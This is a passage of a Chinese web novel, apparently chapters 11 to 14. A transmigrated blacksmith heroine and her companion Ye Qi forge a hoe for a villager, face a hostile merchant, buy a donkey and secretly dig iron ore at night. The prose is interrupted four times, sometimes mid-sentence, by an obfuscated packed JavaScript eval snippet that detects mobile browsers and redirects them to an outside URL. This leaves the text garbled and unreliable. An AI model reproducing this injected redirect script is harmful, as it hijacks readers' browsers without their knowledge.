清晨的阳光透过窗纸,正好落在她的脸上。她眯了眯眼翻了个身,脚踝处传来一阵熟悉的疼痛,柳依依残存的睡意被彻底赶跑了。 倒是没昨晚疼了。 她撑起身,低头检查了下脚踝,摸上去微微发烫,虽然淤青看上去依旧吓人,但肿胀倒是消了不少,看来药酒效果不错。 就在这时,卧室的门被敲响了。 “起了?”是叶七的声音,低沉又平淡。“我能进来吗?” “嗯,进来吧!”柳依依应了一声,把被子重新拉上。 叶七端着一碗热气腾腾的东西走了进来,他把碗放在了床头柜上。 柳依依寻着声看过去,碗里盛的是白粥,几片青翠欲滴的菜叶缀在里头,上面还卧着一颗荷包蛋,蛋边上还撒了几粒葱花,看着倒挺养眼的。 “你做的?”柳依依有些诧异。她伸手碰了碰碗,显然这碗饭已经放了有段时间,温度刚好,不烫手。 柳依依这才拿起筷子开吃。 叶七的手艺不错,米粒已经煮得开花,软糯即化。荷包蛋是糖心的,她拿筷子一戳,金黄的蛋液就流进了粥里。 “嗯。”叶七点头。 “鸡蛋、菜叶还有葱花是哪儿来的?”柳依依含糊地问,没记错的话,家里本来只剩下些大米和腌菜了。 “不是鸡蛋,是野鸭蛋,厨房里还有一颗。”叶七解释说,“还有野菜和野葱,都是天蒙蒙亮我去后山捡的。” “辛苦了,还剩的那颗你先吃吧。”柳依依舔了舔嘴唇,注意到叶七的裤腿上沾了点新鲜的泥泞。 “铺子来人了。”叶七突然道。 “咳咳!”柳依依被这一句话差点呛到,“啥?来人了?” 柳依依连忙飞速把碗里剩下的几口粥扒完,掀起被子就要下床,脚刚刚接触地面,疼得她“嘶”了一声,又缩了回去。 “急什么。”叶七下意识伸出手,皱了皱眉,“人又跑不了。” “你不懂!”柳依依急得直摆手,“客人就是生意,生意就是银子,人家来买东西,我让人在门口等着,这像什么话?” 说罢,她就焦急地再次起身,这次她有了准备,咬牙站住了。 叶七一言不发,向她卧室外走去。 柳依依以为对方不管了,正准备单脚往外蹦跶呢,片刻后叶七又回来了,手里拿了一根削皮的硬木棍,递到她面前。 “拿着。”叶七强硬地直接塞到了她手里。 柳依依接过木棒,认出了是昨晚叶七推独轮车送她回来时捡的那根。 树皮被剥得干干净净,表面还用刀片精修过,那些膈手的疙瘩被削得一干二净,顶端缠了几圈绷带以免握着不滑落,木棍的最底端被削成了斜面,拄着不会打滑。 “这是……你削的?”柳依依愣住了。她比划了几下,自己的身高用起来刚刚好。 “嗯。”叶七伸手指了指铁匠铺,“走吧,客人才刚来,没等几分钟,别急。” 柳依依神色复杂地看了他一眼。“谢谢。” 这根简易的拐杖比她想象的还好用。 柳依依拄着它,一瘸一拐地来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498671|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到自己的铁匠铺,把大门打开。 她一开门,就看到镇长灿烂的笑脸。 “依依!哟~日上三竿了,总算开业啦!”镇长笑着调侃道,注意到她手里的拐杖,还有她一瘸一拐的模样,连忙收起笑容,“你的脚……” “害~昨晚锻造锤没拿好,砸到脚了。”柳依依随口胡诌道,她把目光移到镇长身后的大婶身上。 这人是李大婶,住在镇子里的另一端。她性格大大咧咧,是镇子里出了名的大嘴巴,被邻居们戏称为“李大嘴”。 “依依!”李大婶背着装满野果的背篓,笑着说:“我听镇长说你打的锄头好用得很,我也想让你帮我打一个,让我家老头子回去用,不晓得麻不麻烦!” “哎!你不知道啊!我家的地里面也开始长荆茅了,把我和我家老头子吓得那是魂飞魄散。我俩两天没合眼,竟蹲在那田里翻土,生怕漏了一株。” “你看你看!” 李大婶伸出手指了指自己的黑眼圈,一副恨不得要和荆茅同归于尽的架势道:“就是这几天熬出来的!今天镇长听说我家地里长了荆茅,让我来找你嘞。 柳依依对一旁的镇长浅笑一下,以示感谢。 她明白,镇长这是在帮她张罗生意。每日农忙结束,李大婶就喜欢在镇口和一大群大爷大妈摆摆家常,要是她觉得锄头好用,那岂不是一两日全镇子的人都知道了? 想到这里,柳依依连忙答应:“好,婶子,不麻烦的!六十铜板就行!” 李大婶笑着把钱袋子交给柳依依,确认柳依依清点无误后,笑着说:“那我先走了,等你锻打好后我再来拿!” 看着李大婶走远了,镇长却没离开,他在柳依依铺子门口站着。“依依,你脚受伤了,家里可缺药?我去给你拿些红花油来?” “淤青看着吓人罢了,真不打紧,我抹过药酒了。”今天接到生意有钱赚的柳依依眉开眼笑。 这时,叶七从屋子里走了出来,他才洗完碗,打算帮柳依依把铺子里需要用的矿石先拿出来。 镇长好奇地问:“依依,这位……昨天不是来找你买铁的嘛?” “他呀?”撒谎太多,柳依依已经能做到面不改色了,“他叫叶七,昨天是给他家主子来买铁矿的。他家见我家锻钢品质好,便给了点学费,让叶七来我手里学学技艺。” “师父,铁矿石都给你摆好啦,我帮你把炉子生起来!”叶七相当配合地说。 “好。我等会儿就来!”柳依依背着手,一时兴起地学着记忆中影视剧里的大师模样。 “招个人也好。”镇长被她这个动作逗乐了,说:“你一个人总归忙不过来,你腿还伤了,有人帮你打个下手,跑跑腿也是好的。” 这时,街头对面传来一阵喧闹,柳依依抬眼望去,只见一行人正在和街道边的小贩讨价还价。 为首的那人腰佩白玉,穿着华丽,正低头审视着小贩摊前的木耳。他那高高在上的样子,像一只巡视领地的公鹅。 柳依依定睛一看,在心里嘟囔道:这不老熟人嘛? 那人似乎感应到了她的目光,向这边看了过来,然后面无表情地对着柳依依点了点头。 正是刘行长。 12. 第 12 章 柳依依倒是不怕他,看到刘行长给自己点头,她笑吟吟地也点头回敬,甚至还扬了扬下巴,一副“我很好,不劳挂念”的模样。 “柳姑娘,怎的受伤了?”刘行长脸上挂着笑容走了过来,但眼里毫无笑意,典型的皮笑肉不笑。“昨日我见着不是还好好的?” “只是锻造锤没拿好,不小心砸到了脚。”柳依依把刚刚的说辞又搬了出来,“小伤,不碍事。倒是刘行长,怎么有空来我们家小铺子?” “原来是不小心,最近似乎不太平,小镇上的后山失踪了几个人。我还以为柳姑娘和别人起冲突了呢!我只是收点镇上的土特产,顺道来看看。”刘行长戏谑地看着柳依依的伤脚。 “是吗?我没听说过哎,刘行长不愧是人脉通天,人中龙凤,竟比我们这些住在镇子里的人还清楚。”柳依依脸上依然带着微笑,阴阳怪气地回了过去。 二人对视了一眼,柳依依毫不畏惧地望着对方冰冷阴毒的双目。 片刻,刘行长率先移开目光,越过了她,在铁匠铺里扫了一圈,最后落在正给锻造炉点火的叶七身上,“这位是?” “我新收的徒弟,帮忙来铁匠铺打工的。”柳依依微微侧身,挡住他想往铺子里窥探的视线。“力气大,肯干活,倒是个好苗子。” 叶七往锻造炉里塞柴火的动作顿了顿。 刘行长轻蔑地嗤笑一声,转身离开,只丢下一句话:“刘姑娘脚伤未愈,还是少出门走动的好,这世道,乱的很!” “多谢刘行长关心。”柳依依对着那个背影高声喊道,“可惜呀,我这人命硬的很,想死都难!” 刘行长的脚步顿了顿,但他没有回头,他把对面小贩卖的木耳全包下来,然后带着随从消失在了街角。 柳依依收起面对客人时的假笑,叹了口气,拄着拐杖挪到叶七身旁,帮他摇动风箱。 “他在试探你。”叶七的声音徐徐响起。 柳依依转头看向他,叶七正望着炉内,瞳孔倒映着明亮艳丽的炉火。 “别动,你脚没好,我来摇风箱!”叶七抬手制止了她,示意她坐到铁毡旁的木凳上。 “对……刘行长在试探。”柳依依想了想,觉得这人今天上街都不怀好心,于是慢慢坐着说:“昨晚那些刺客没有去复命,今日他来这里收木耳是假的,来探探底细倒是真的。所以……他还会再派人杀我吗?” “不一定。”叶七的手没停,不停地摇着操纵杆,风箱发出有节奏的“呼哧”声。 “他没找到刺客们的尸体,不知道他们是跑了还是死了。今天他看到你还活着,只是确认了两件事。” “什么?” “第一,刺杀失败了;第二,有人在帮你。” 柳依依听到这里,心里一沉,继续分析道:“他不会善罢甘休的,下次来,可能会派更多人,或者更隐蔽的法子。” “昨晚杀我失败,已经算打草惊蛇了,他可能短期内不会再出手。我们在镇子里,他也不敢强来,恐怕只会玩一些阴的。我有一间铁匠铺,有什么简单粗暴的方法,可以把人连着铺子一起毁了呢?”柳依依尝试着换位思考。 下一秒,她和叶七对视一眼,异口同声地说出了那两个字。 “放火!” 古代的建筑多以木质结构为主,自家的铺子是铁匠铺,铺子里还放着淬火的油桶、从炉子里倒出来的木炭。一把火扔进来,别说铺子了,恐怕连着的整条街都要遭殃。 炉子的温度够了,柳依依如法炮制,开始熔炼铁矿石,准备打造李大婶订购的锄头。 “真放火的话……恐怕会牵连无辜,这么丧心病狂的事,他真做得出来?”柳依依有些迟疑。 自己和这个奸商有仇,他针对自己就算了,可他真能做出放火这种一个不慎就会连累大半个镇子的事? “难说。”叶七冷笑一声。 不过,自家铺子的确太简陋了,柳依依朝着自家围墙看去。 那道矮墙年久失修,最矮的地方才到柳依依的肩膀,随便一个人双手一撑就能翻进院子里,角落还塌了一个洞,用乱石胡乱垒着。 “你家这墙……”叶七顺着她的目光扫了一眼,“别说刺客了,防贼都有些吃力。” 柳依依赞同地点头。 这的确是头等要事,可惜她家经济条件实在不好,返修围墙和屋子又是个烧钱的活计,不然原主父母在世的时候,早就翻修了,哪儿等得到现在? 而且翻修是需要大量工程原料的,还需要工人帮忙,这又是一笔开销。 想到这里,柳依依只能无奈提醒自己一步步来,距离美好的咸鱼生活还远着呢。 虽然脑子里想法没停,但锻造已经刻入了柳依依的本能,她动作娴熟,手上功夫没闲着,飞快地把铁砧上的熟铁敲打成型。 “原来你是这么锻造的?”叶七若有所思道:“我看巡场的铁匠锻造,都是把铁水倒进提前准备好的模具里,等待冷却后脱模就行。” 叶七之前只看过柳依依修锄头,未曾料到原来她是这么锻造的。 柳依依头也没抬,简单解释说:“那样打出的锄头品质不好,除了省事,可以批量打造外,就没有什么优点了。” “原来是这样。”叶七点点头,具体的原理和细节他没有过问。随后,只是在一旁沉默着,拿起蒲扇,给满头大汗的柳依依扇风。 铁料想要保持易塑性,就得处于成百上千摄氏度的高温。 这个温度下用手是不可能的,柳依依拿出了让人眼花缭乱的工具,火钳、长嘴镊子,小头锤…… 不一会儿,一个锄头就在铁砧上诞生了,看上去和那些模板浇铸的样式一样美观标准。 等它冷却好了,柳依依便拿出准备好的木柄穿了进去,然后固定住,一柄崭新的锄头就彻底打造完成了。 柳依依呼出一口气,伸手擦了擦额角的汗水。 “好了?”叶七给她端来一杯水。 “嗯。”柳依依咧嘴一笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498672|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在这时,柳依依听到了李大婶那标志性的大嗓门,隔着老远都能听清。“依依,锄头可打好啦?我是来取锄头的。” “已经好啦!”柳依依挥手高喊道。 李大婶顿时眉开眼笑。 等李大婶过来后,柳依依亲自给她展示了一下。柳依依拿起锄头,利刃对着院子里的一个大石块,狠狠挥去。 石块瞬间破碎成两半。 “乖乖……这么能砍?”李大婶瞠目结舌,她捡起地上被砍成两半的石块,只见横截面光滑无比,显然是一次性锄开的。 连锄石头都这般轻松,更何况是区区荆茅? 值!太值了! 李大婶眉开眼笑,接过锄头爱不释手地端详着。“之前我家老头子还在抱怨呢,上一个锄头就是被土里藏的石块给磕裂的。有了你家锄头,想来对付荆茅不成问题了。” “大婶你满意就好!”柳依依有些拘束地笑了一下。作为一个手艺人,她真的很难拒绝客人真诚的赞美。 “对了,依依,你手艺这么好,镇子一年一度的秋收集要到了,你要不要参加?”李大婶好奇地问。“要我说,你肯定不愁卖!” 秋收集? 柳依依眼前一亮。 她怎么把这个给忘了! “秋收集?好呀!到时候我一定参加!”柳依依压下心里的激动,故作镇定地问:“李大婶,我记性不好,这秋收集还有多久来着?” “你一个小姑娘,怎么记性还不如我这个老太太。”李大婶走之前调侃了几句,把新锄头扛在肩膀上,拍了拍上面的灰尘,“就七天后!别忘了!镇长今天还在给我说呢,开始筹划准备了!” 柳依依拄着拐杖站在铺子门口,看着李大婶远去的背影,嘴角的笑意怎么都压不下去。 秋收集,顾名思义,是依云镇一年一度庆祝秋收的传统集会,持续三天,据说从百年前就传承至今。 别看依云镇只是个小镇,但秋收集这么多年来,被镇子的人办得如火如荼,名声很大。 这三天,附近几十个村镇、甚至连一些城里的人都会来依云镇赶集。秋收集热闹非凡,满街都是各式各样的商品,美食、布匹、陶器、农具等等,去年还有一个皮影班子和戏剧班子来表演,过瘾得很。 这是赚第一桶金的好机会! 柳依依当然不能放过!必须参加! 自己要卖的自然是铁器,要参加的话,还得提前准备好售卖的商品才行 所以,柳依依现在需要的是大量的铁矿。 柳依依瞥了一眼铺子的库存,家里的铁矿石应付散客还好,但要批量售卖远远不够。 以前家里备的铁矿石都是父母驾着马车从矿区买来的,但如今家里的马车已经没了。 而且直接买矿石太贵了,哪怕花费所有余钱都不一定能买够需要的铁矿。 哪里能搞到铁矿? 柳依依苦恼地挠头,突然猛地拍了拍脑袋。 有了! 13. 第 13 章 柳依依穿越的这个朝代,因为财政需要,所以官府对盐铁有着严格的掌控,它们都是官营的,普通的老百姓是不允许私自挖铁矿采盐的。 那些或是常见、或是稀有的铁矿,都被写进了禁止民间私自开采的律法之中。 柳依依想到自己遇到刺客逃跑时,在岩壁上看到的那片褐铁矿,自己还借助它们造成塌方拖延了刺客。 这不就是现成的铁矿嘛! 它已经露出地表,这么多年来却依旧无人开采,其实是因为大家都不知道这种“土壤”其实就是铁矿的一种。 古人的炼铁技术还不够成熟,即使知道这是铁矿,也没有合适的方法从中提炼出铁来。 所以这种矿石并没有被官府列入禁止民间开采的名录里。 有法子获取铁矿就好,柳依依想。 不过,拿那个独轮车运输褐铁矿是行不通的,运输量小不说还不稳,稍不留神就会洒得一地都是,还得先去买个专业的交通工具才行。 马太贵了,最好的牲口是牛或者驴子,便宜劲大,速度慢些也无妨,又不是和别人赛跑,拉得动车厢就行。 柳依依连忙拄着拐杖,回自己的房间拿荷包。“叶七!你在铺子里守着,我去趟集市。” 叶七瞥了一眼她的伤腿,似乎想说什么。 “不用和我去!”柳依依摆了摆手,“放心吧,就在镇子里的集市,我很快就回来,最多半个时辰!” “好。”叶七像是妥协了,“你若是半个时辰不回来,我就出去找你。” 柳依依应声同意,她先简单把荷包里的钱清点了下,原本家里的积蓄,加上自己卖的两柄锄头获得的一百二十铜板,合计约三两银子,随后她就“蹦蹦跳跳”地出发了。 依云镇的集市在小镇东方,说是集市,其实是一条不太宽的石板路,两边摆着各种各样的摊位,有卖菜的、卖水果的,甚至还有戴着墨镜翘着腿算命的,人声鼎沸,吆喝声此起彼伏。 几名工匠踩着梯子,在一些铺子门口比划着什么。他们已经在指挥下开始装饰街道了,想来是在为即将来临的秋收集市做准备。 酱肉包和麦香糖糕的味道直往柳依依的鼻孔里钻,熏得她暖洋洋的。柳依依全程低着头,不敢去看这些小吃摊,怕它们抢劫自己所剩无几的钱包。 大多数贩卖动物的贩子都聚集在街尾,那里离小食摊远得很,逛到那里的客户少了很多,空气中属于美食的鲜香味逐渐散去,取而代之的是干草和粪便的味道。 柳依依看到不远处的牲口棚子里,站着两头毛驴,有位戴着草帽的大爷正盘腿坐在地上,哼着山歌,给一头驴修蹄子。 “姑娘,是来买牲口的?”草帽大爷抬头看了她一眼,然后继续给毛驴修蹄子。 柳依依从原主记忆中没找到这大爷的身影,可能他不是镇上的居民。 “嗯。买个牲口,好拉货。”柳依依看向他身旁的这头灰驴,体型倒是大,毛色也亮堂,正懒洋洋地嚼着草料。“你这头驴子多少钱?” 这头灰驴打了个响鼻,要不是柳依依闪得快,怕是要被喷一脸口水。 “二两银子。”大爷拍了拍驴背,“这驴子正值壮年,力气可大着呢,拿来拉两车货物完全没问题,就是脾气稍微倔了点。” 柳依依微微摇头,二两银子对她来说有点贵了。 她指着另一头稍小的驴子道:“那这头黑色的呢?体型小一点是不是价钱少些?” “这头卖一两半。它才刚成年,力气要小点,但是拉一车是没问题的。而且脾气倒是比寻常驴子小得多,温顺好养活。” 在柳依依沉思时,这头刚成年的黑驴就主动把头往她手心里拱,嘴里发出“嗯昂”的响亮叫声。 声音洪亮代表气息足,体力好,不是个病秧子;性格亲人活泼,也比那头懒洋洋的倔驴看着顺眼。 柳依依拍了拍它的头,黑驴舒服地眯起眼睛,摇了摇尾巴。 “黑驴能便宜点不?”柳依依虽然心里已有决定,但还是不动声色道。 “你要是连着这架车厢一起买了,给你少些也无妨。”大爷指了指驴棚后面摆放的车厢。 柳依依凑过去一看,这木车厢有点年头了,上面有各种各样细微的划痕,显然是平日里拉货用的,不过还没有到年久失修的程度。 “黑驴加上这个木敞篷车厢,再加一点干草料,我给你一起算一两半银子。” 大爷迫不及待地给她介绍说:“你瞧,虽然不是新造的,但结实着呢,能用好几年。车厢也大,能装的东西多,你若是不满意可以自己改装,载人拉货两不误!” 柳依依弯下腰,审视马车棚的底部,发现整车的骨架都用槐木制成,兼具韧性和硬度。 车厢关键的承重部件还单独用了坚固耐磨的榆木,能让它在重载和颠簸下保持稳定。 她还检查了四个车轮,伸手拨弄了几下,发现没有破损,可以正常使用。 这车厢做工品质的确不错。 “成交!”柳依依满意地拍拍手,从荷包里取出钱交给对方。 “得嘞!”大爷开心得眼冒金星,数钱后,主动帮柳依依把车厢架到了驴子身后,还帮她把草料整齐地码进了车厢。 大爷拿出一副崭新的笼头和缰绳,套在驴头上,然后把缰绳交给她,“这驴子你拉回去后,每顿喂一点草料,他熟悉了你的气味就更听话了。” 柳依依把大爷的好心提醒记在心里,她一手拄着拐杖,一手牵着缰绳慢慢往回赶。 这驴子的确像大爷说的那般听话,不吵不闹更不挣扎,跟在柳依依身后寸步不离。 还没到铁匠铺门口,柳依依就看到叶七正靠在家门口的墙上,双手抱胸,闭目养神。 听到驴车的声音,叶七睁开双眼,瞧见是她后,面无表情地主动走了过来。 “这驴子是你买的?怎的买了头驴子?”叶七接过柳依依手里的缰绳。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498673|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >黑驴倒是不认生,见到叶七后,也想把那毛茸茸的大头往他手心里拱。 “拉货的,马上我们就要用。”柳依依笑着解释着,她瞥了一眼黑驴,它把头在叶七手心里拱了半天还不够,还要把头往他胸膛上蹭。 叶七嘴角抽了抽,依旧是一副面无表情的样子,但柳依依总觉得自己从男人脸上看到了一丝嫌弃。 叶七无奈地用手把漆黑的驴头拍开,问道:“可想好它的名字了?” “白雪。”柳依依笑嘻嘻地指了指院子角落的马棚,示意他把驴子拴在那里。“好听吧?” 叶七:“……” 他瞥了眼黑得发亮的驴子,良久无言,只是默默去搬草料,顺便往驴的食盆里倒水。 白雪见到水后,连忙凑上去喝水,舌头飞快地卷动着,溅得叶七一裤腿子水。 柳依依哈哈大笑,拍了拍白雪的屁股。“你倒是会享福。” 喝水喝得津津有味的白雪头也没抬,只是甩甩尾巴,碰了碰柳依依的手臂算是回应了。 “叶七,今晚我要驾着白雪出去一趟。”柳依依一边说,一边把家里的鹤嘴锄、铲子等工具往车厢里放。 “你腿还有伤,难不成有什么急事吗?需要晚上出去?”叶七皱眉,把目光再次放在了她的伤腿上。 “也不算急事,只是晚上好办事,知道的人越少越好,我很快就回来。”柳依依又往车厢里扔了一个大箩筐,还有一盏没点油的旧风灯。 “灯都带上了,你确定是很快回来?”叶七的目光越过柳依依,看向夕阳下模糊成斑斑暗色的山影,橙与白的云层熔在一起,像一块通红滚烫的熟铁。 柳依依检查着携带的物品,心虚地咳了一声:“万一白雪在路上贪玩,见到路边的野果想吃想玩,走得慢也是可能的。” 叶七不说话,只是这么看着她。 被他看得不自在,无法,柳依依干脆实话实说:“我在地表看到了铁矿,打算挖一些回来,你在家守着便好。” 叶七转身走进了屋内,他从屋里拿了两个水袋,一张毛毯,还有一个小油罐子,一起放进了车厢内。 “好,我和你一起去。” 柳依依迟疑地说:“叶七,你留在家里吧,我怕有人趁我们不在……” 叶七坚定地摇头,打断了她的话:“你腿脚不好,一个人外出,万一刘行长不死心,或者遇到狼了,该怎么办?” 柳依依最终还是被他说服了。铺子再怎么重要,也是身外之物,要是自己真的又遇到了生命危险,她可没把握重生穿越第二次。 “还有,我们平民不能私自开采铁矿。”叶七郑重地道:“律法上罗列了所有的矿种,这些都是不许百姓私自开采的。” “我们没有违反律法。”刘依依挑眉,“律法是罗列了所有的矿种,告诉大家这些矿你们不能私自开采,只允许官府来。但,我若是告诉你……” “我打算挖的,是全新的矿种呢?” 14. 第 14 章 全新的矿种? 若真如此,那的确没有违反律法了。 “你说的矿石,在哪里?”叶七问道。 难怪她要买一辆驴车,原来是想用来运铁矿。 “就在后山里的小路,路边的崖壁上就是了,我也是那天遇到刺客时逃跑发现的。”柳依依一边回答,一边顺了顺白雪的毛发。 白雪似乎察觉到有活要交给它,在一旁打了个响鼻,四只蹄子在地上踩了踩,看上去干劲十足。 “等天彻底黑了,我们再出发。”叶七看了看天色,缓缓说,“这种事晚上干要隐秘些,我们先吃饭。” 柳依依同意了。 后山虽然大,但偶尔也会遇到猎人或者砍柴的路过。褐铁矿那东西虽然大家都不认识,但如果有人多嘴问一句“你挖这些红土干什么”,解释起来也是个麻烦。 晚饭叶七已经提前做好了,估摸着是在自己赶集的时候做的。 叶七从厨房端了两碗菜叶稀饭,柳依依筷子一挑,从自己的碗里翻出来一颗圆滚滚的煮鸭蛋来。 “你的伤还没好,再说两个蛋都是你寻的,我已经吃了一个了,剩的这个你吃吧。”柳依依把那个蛋给他夹了回去。 但是叶七的筷子像长了眼睛似的,柳依依刚把那个蛋夹到他碗里,叶七一言不发又给她夹了回来。 柳依依瞪眼:“你……” 叶七低头喝粥,眼皮子都没抬起来,仿佛没听到她说话。 “行吧。”柳依依妥协了,她用筷子把蛋从中间夹开,金色的蛋黄露了出来,正冒着热气。“我们一人一半,这下好了吧?” 叶七望着碗里的那半颗蛋,沉默了片刻,没有再推让。 柳依依就着稀饭,把自己碗里的那半颗蛋吃了,蛋黄含在嘴里软沙沙的,加上咸淡适宜的腌菜,柳依依觉得嗓子眼都热呼呼的。 在物资充沛的现代社会,蛋并不稀缺,但此刻,蛋对寻常百姓家来说可算是个“小奢侈品”,若不是叶七从后山捡了两颗野蛋回来,这副身体可能有一个月没吃到蛋类了。 饭后,叶七主动把碗筷收拾进厨房。 在二人动身前,柳依依特意从衣柜里找出一块陈旧的布料,把它折好夹在腋下一起带走,还特意在屋子的门缝里夹了一张小纸片,这才坐上驴车。 “坐稳了。”叶七踏上车辕,伸手握住缰绳。 白雪迈开步子,拉着车厢慢慢驶出了院子,车轮时不时碾过松动青石板,发出轻微的“咯哒”声。 柳依依拿出火石点燃旧风灯,昏黄的灯光照亮了前方的路,她指了指前方的岔路口道:“最左边那条,一直顺着路直走就是了。” 叶七点点头。 驴车拐进那条小路时,路面更窄了。两侧的灌木丛几乎擦着车厢板,树枝在车身上刮出吱嘎吱嘎的声响,柳依依怕被灌木划到脸,连忙低下头。 二人驾着驴车顺着小路走了一炷香的时间,柳依依已经隐隐约约看到了前面夜色下黑压压的岩壁。“到了,就是前面那片悬崖。别把车开得离悬崖太近……” 叶七把车停稳,随后跳下车辕,把白雪拴在一棵粗壮的松树旁。他从车厢里拿出干草,在驴面前铺了一小堆,白雪低下头,美滋滋地嚼了起来。 叶七从柳依依手里接过风灯,把它挂在车辕上,伸手去扶柳依依,“下来吧。” 柳依依拄着拐杖翻下车厢,稳了稳身子,深深吸了一口气。这里的空气和镇子上完全不同,清冷、湿润,带着松针和泥土的气息。 “路被压垮了?”叶七看着前方道路,微微皱起了眉。小路上堆了一大片的土料和石块,足足有一人高,还有不少在一旁的树林里。 这些东西显然是从悬崖上落下来的。 “我干的。”柳依依直接承认。 叶七:“……” 他看了一眼岩壁,又看了眼柳依依。 柳依依无奈地解释说:“那天被刘行长的人追杀到这里,我看出崖壁上的土质疏松,便用木头撬开下面支撑的石块,弄塌了一点点,我这脚就是被那时落下来的石块砸的。” “聪明。”叶七由衷地点头赞赏。 “小心一点,崖壁可能会再次坍塌,安全第一。”柳依依提醒道。 叶七拿起风灯,向前走去。 他的余光瞥过地面,附近的地面上全是扬尘和石块,这条小路已经过不了车了,可见柳依依那天弄出了不小的动静,何止是“一点点”? 叶七嘴角微扬。 两人沿着碎石坡往前走,白天至少看得清脚下的石头,晚上虽然有风灯,但光影交错下,反而更容易踩滑。 柳依依的拐杖戳在碎石缝里,她好几次都差点打滑,幸好叶七在身边及时扶住她的胳膊。 “小心。”叶七低沉的声音从身后传来。 柳依依摆手示意自己没受伤。“差不多在这里便好,别往前走了……太危险,这些地上的,就全是铁矿了,我们先把地上的清理干净。” 叶七弯腰捡起一块褐色的矿石,仔细端详着。矿石的表面粗糙不平,在灯光的照射下,颜色像干涸的血,断面处可以看到细密的纹理,用手指一掐,轻松就捏碎,握在手中的手感比土壤更粗粝一些。 “这就是你说的新矿种?”他问。 “对。”柳依依指着矿石的断面,“你看这种土状的,虽然含铁量比块状的低一些,但质地松软,好采好挖,不用费多大力气就能弄下来。律法上收录的那些铁矿更致密,含铁量高些。” 叶七点了点头,他直接放下背篓,拿出铲子,把那些大块的褐铁矿往背篓里铲。 柳依依也不闲着,她拄着拐杖蹲在地上,把散落在灌木丛下面的小矿石一颗一颗捡起来,丢进背后的背篓里,有些矿石只有指甲盖大小,她也舍不得扔,一粒一粒地捡。 “小的也要?”叶七问道,手上却没停。 “要。”柳依依头也没抬,无奈地说:“积少成多,蚊子腿也是肉。这些碎矿回去也能炼,虽然麻烦点,但熔炼的时候更容易熔化,适合先试炉。再说了,总得把这路清理干净吧,不然大家路过多不方便,毕竟是我弄成这样的。” 叶七不再说话,只是默默铲着。 不一会儿,二人的背篓就装得满满当当了。 “差不多了。”柳依依站起来,“你在这里等我,我把两个背篓里的矿土带到驴车里装好。先把这些搬下去,再上来捡第二批。” “等等。”柳依依拄着拐杖走到岩壁前,举起风灯照了照,“你看这里。” 灯光的照射下,岩壁的中下部有一大片灰褐色的区域,和周围的锈红色矿脉明显不同。那片区域的矿石呈土状,用手一抠就能抠下一块,质地松软得像是被水泡过的泥土。 “这是风化得最厉害的部分。”柳依依抠下一块,在手心里捏了一下,立刻就碎成了粉末,“这种土状褐铁矿含铁量最低,但是最好采,用鹤嘴锄一刨就下来。咱们今晚先不挖岩壁,把地上这些塌方的运完再说。地上的搬完了,再考虑挖岩壁。” 叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498674|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七点了点头,弯腰把装满矿石的筐背起来。筐的麻绳勒在他肩膀上,把粗布短褐压出了两道深深的褶子,但他站得笔直,背上的矿石少说也有八十斤,可他连呼吸都没乱。随后,他双手抱起柳依依的那个背篓,快步向着驴车赶去。 柳依依不得不感叹同人不同命。 叶七之前受了那么重的伤,现在像是个没事人一样。 二人往驴车那里来回运了好几趟,柳依依估摸着驴车快装满了,才决定和叶七一起回去。 白雪还拴在那棵松树旁,干草吃了一多半,正半闭着眼睛打盹。听到脚步声,它睁开眼,打了个响鼻,像是在说“你们可算回来了”。 叶七把最后一筐从背上卸下来,小心翼翼地搬上车厢。 筐里的矿土挨挨挤挤,红褐色的表面在风灯的光照下泛着暗沉的光泽。他把矿石一块一块地码好,大块的放在车厢底板,中等的塞在缝隙里,小块的最后铺在上面。 “这一筐大约有一百斤。”叶七淡淡道,“车差不多满了。” “总算把路收拾出来了,地上的全搬完了。”柳依依举着风灯照了一圈,确认没有遗漏,“岩壁上那些要不要挖一点?” 岩壁下方的碎石坡上,塌方矿石几乎被他们搬空了,只剩下一些嵌在土里、抠不出来的碎渣。 叶七看了看天色,月亮已经升到了中天,银白色的月光洒在山坡上,把碎石坡照得比刚才亮了一些。 